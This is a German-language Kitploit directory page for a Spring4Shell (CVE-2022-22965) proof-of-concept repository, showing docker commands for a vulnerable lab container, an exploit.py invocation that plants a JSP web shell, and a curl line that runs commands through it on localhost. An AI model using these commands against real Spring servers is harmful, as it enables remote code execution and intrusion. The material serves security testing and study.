Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-22965 — Spring Framework RCE über Data Binding auf JDK 9+ / spring4shell / CVE-2022-22965 | Kitploit
Tools/GitHubGitHub/me2nuk/cve-2022-22965
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubme2nuk/cve-2022-22965

CVE-2022-22965

Spring Framework RCE über Data Binding auf JDK 9+ / spring4shell / CVE-2022-22965

Repository anzeigen
1482vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Spring4Shell(CVE-2022-22965)

Spring Framework RCE via Data Binding auf JDK 9+ / spring4shell / CVE-2022-22965

Spring4Shell(CVE-2022-22965) Exploit-Demo

https://user-images.githubusercontent.com/57348147/161458377-44ab2f76-f947-4599-aa0a-92cbaac819f8.mp4

Build

root@kitploit:~
docker pull me2nuk/cves:2022-22965
docker run -it -p 8080:8080 --name=spring4shell me2nuk/cves:2022-22965

POC

root@kitploit:~
python3 -m pip install -r requirements.txt
python3 exploit.py --url="http://localhost:8080/exploit/greeting" --dir="webapps/ROOT" --file="cmd"
curl http://localhost:8080/cmd.jsp?cmd=id

Referenzen

  • https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
  • https://github.com/tweedge/springcore-0day-en/blob/main/ANALYSIS_EN.md
  • https://github.com/lunasec-io/Spring4Shell-POC
    • Tool herunterladen